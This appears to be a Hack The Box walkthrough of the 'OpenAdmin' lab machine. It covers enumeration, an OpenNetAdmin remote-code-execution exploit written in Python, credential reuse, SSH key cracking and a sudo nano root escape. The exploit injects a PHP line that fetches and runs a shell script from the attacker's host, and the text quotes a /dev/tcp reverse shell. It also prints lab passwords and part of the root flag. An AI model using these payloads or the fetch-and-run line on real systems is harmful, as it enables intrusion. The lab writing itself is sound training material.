It was an easy machine from Hack The Box with:
- 0-day in some sort of webapp with RCE in an old version.
-
SSH credentials in
mysql
config file. - SSH private key on some internal network running in the background.
- GTFOBins on a file owned by root.
1. Enumeration
First things first, let’s add
10.10.10.171
in
/etc/hosts
as
openadmin.htb
and enumerate our machine with
nmap
to discover open ports and services.
root@kali:~# nmap -sV -sC -sT -o openadmin openadmin.htb
# Nmap 7.70 scan initiated Mon Jan 6 19:35:31 2020 as: nmap -sV -sT -sC -o openadmin 10.10.10.171
Nmap scan report for 10.10.10.171
Host is up (0.19s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
| 256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_ 256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
1092/tcp filtered obrpd
1185/tcp filtered catchpole
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jan 6 19:36:37 2020 -- 1 IP address (1 host up) scanned in 66.58 seconds
I found
http
on port
80
and
ssh
on
port
22
and
2 other filtered ports.
The home page was
apache
default page and nothing else:
I tried different URLs but still nothing, so let’s jump into
gobuster
to enumerate other pages and directories:
root@kali:~# gobuster dir -u http://openadmin.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://openadmin.htb
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/02/02 20:10:17 Starting gobuster
===============================================================
/music (Status: 301)
Progress: 980 / 87665 (1.12%)
I found
/music
page let’s see its content:
It’s a beautiful UI with some interesting links:
login
redirect to
openadmin.htb/ona
and
create an account
to nothing. Let’s click on
login
to see what it goes:
It’s some sort of an web application, I struggled at this point for awhile trying to figure out what is this, then I found a login page.
I tried
admin:admin
and it worked, but something wrong it redirect to the previous
page with guest account not as admin. I intercepted the login
request and send it using
burp
to see more details, but also nothing. I stuck a little, so I
decided to search what is this application!.
“OpenNetAdmin is a system for tracking IP network attributes in a database. A web interface is provided to administer the data, and there is a fully functional CLI interface for batch management.”
2. Exploitation
I found RCE exploit with
searchsploit
, but the version
13.03
is older than running on the box
18.1.1
:
root@kali:~# searchsploit opennetadmin
----------------------------------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
----------------------------------------------------------------------- ----------------------------------------
OpenNetAdmin 13.03.01 - Remote Code Execution | exploits/php/webapps/26682.txt
----------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
I always like trying old things to see if it still work or not.
The file
26682.txt
contains some info about the exploit with
HTML
code as a PoC by Mandat0ry (aka Matthew
Bryant). I didn’t like
HTML
to exploit the application, so I wrote some
python
script to automate our process:
#!/usr/bin/env python
from termcolor import colored
from requests import get, post
def RS():
from random import choice
from string import ascii_lowercase
return ''.join(choice(ascii_lowercase) for i in range(4))
def exploit():
url = 'http://openadmin.htb/ona/dcm.php'
php_shell = "<?php exec('wget 10.10.15.253:8000/shell.sh;bash shell.sh') ?>"
mod_name = RS()
params, options = dict(), dict()
options['desc'] = php_shell # php code
options['name'] = mod_name # module name to inject the code
options['file'] = '../../../../../../../../../../../var/log/ona.log' # the file itself that
params['options[desc]'] = options['desc']
params['module'] = 'add_module'
params['options[name]'] = options['name']
params['options[file]'] = options['file']
print colored('[!] Sending our payload...', 'yellow')
post_shell = post(url, params = params)
print colored('[+] Done', 'green')
print colored('[!] Spawning a shell...', 'yellow')
get_rce = url + '?module=' + mod_name
get_shell = get(get_rce)
print get_shell.text
exploit()
Simply, The exploit works because we can add modules without any type of authentication. Modules are in this form:
module[name] = The name of the function that will be run out of the included file
module[description] = Irrelevant description of the module (unless some PHP code is injected here hmm?)
module[file] = The file to be included and then the function
I can inject some
PHP
code into
/var/log/ona.log
file via the module description parameter. Every time a module
is added to OpenNetAdmin app the
description, name
are all logged into this log file. By setting the module file
path to
../../../../../../../../../../../var/log/ona.log
, so we can include the log file as a module.
I tried to inject
bash -i >& /dev/tcp/10.10.15.253/1337
0>&1
as a reverse shell, but it didn’t work because of the way the
logger script works I cannot use any
<
or
>
.
So, I tried to escape it using
\>
,
but also didn’t work.
Let’s write the above script into a
shell.sh
file and upload it into the box and wait for a shell:
I got a shell with an old 0-day exploit as
www-data
, now let’s dive into privesc.
3. Privilege Escalation
First thing I though is to search for any interesting files,
then I stuck a little until I found
mysql
database settings file inside
local/config
folder:
The file contains database creds
<?php
$ona_contexts=array (
'DEFAULT' =>
array (
'databases' =>
array (
0 =>
array (
'db_type' => 'mysqli',
'db_host' => 'localhost',
'db_login' => 'ona_sys',
'db_passwd' => 'n1nj4W4rri0R!',
'db_database' => 'ona_default',
'db_debug' => false,
),
),
'description' => 'Default data context',
'context_color' => '#D3DBFF',
),
);
?>
Let’s try login to
mysql
and see the available users:
I got two
md5
hashes after cracking
guest:test
and
admin:admin
. I tried
ssh
using those creds but nothing worked. After awhile I went back
to what I’ve gained so far and thought let’s try database
password to switch with an existing users. I tried first user
jimmy
and it worked.
4. Internal Network
This user isn’t the actual user so, as we saw above there is
another user
joanna
. I started searching for files and finally I got a folder
called
internal
inside
/var/www
:
282830 4 -rwxrwxr-x 1 jimmy internal 339 Nov 23 17:40 /var/www/internal/main.php
2644 4 -rwxrwxr-x 1 jimmy internal 185 Nov 23 16:37 /var/www/internal/logout.php
1387 4 -rwxrwxr-x 1 jimmy internal 3229 Nov 22 23:24 /var/www/internal/index.php
Then, I got an interesting
php
code inside
index.php
file.
<?php
$msg = '';
if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f...') {
$_SESSION['username'] = 'jimmy';
header("Location: /main.php");
} else {
$msg = 'Wrong username or password.';
}
}
?>
The script wants to login via
main.php
using
jimmy
as a username and
sha512(password)
must match the following hash:
00e302ccdcf1c60b8ad5...
. After I decrypt the hash I got
Revealed
as a password.
Now let’s see what other services running on the box:
jimmy@openadmin:~$ netstat -lnpt | grep LISTEN
netstat -lnpt | grep LISTEN
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:52846 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
I found a
TCP
service running locally on port
52846
.
Let’s post our data on
127.0.0.1:52846/main.php
usign
curl
:
Oh! I got
ssh
private key, so let’s extract it using
ssh2john
and crack it with our friend
john
:
root@kali:~# ssh2john rsa_priv.key > joanna.priv
root@kali:~# john --wordlist=/usr/share/wordlists/rockyou.txt joanna.priv
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
bloodninjas (rsa_priv.key)
1g 0:00:00:12 DONE (2020-02-03 01:20) 0.07855g/s 1126Kp/s 1126Kc/s 1126KC/s *7¡Vamos!
Session completed
And now I got the password
bloodninjas
, let’s
ssh
with
joanna
and own user:
5. Own Root
Let’s find what else I can do to own
root
,
after deep diving for any important things related to
joanna
I found
/etc/sudoers.d/joanna
owned by
root
.
Sudoers files just contains rights for who can access what in
the system.
joanna@openadmin:~$ cat /etc/sudoers.d/joanna
joanna ALL=(ALL) NOPASSWD:/bin/nano /opt/priv
This line above just tell the system give all
sudo
privileges to user
joanna
with no password to execute
nano
on
/opt/priv
. let’s take advantage of this by execute commands from
/bin/nano
bypassing all local security restrictions, see
GTFOBins.
Now let’s run
sudo nano /opt/priv
, and press
ctr + R
to read a file then
ctr + X
to execute root commands and type:
reset; bash 1>&0 2>&0;
And finally owned
root
:
root@openadmin:~# id
uid=0(root) gid=0(root) groups=0(root)
root@openadmin:~# cat /root/root.txt
2f907ed4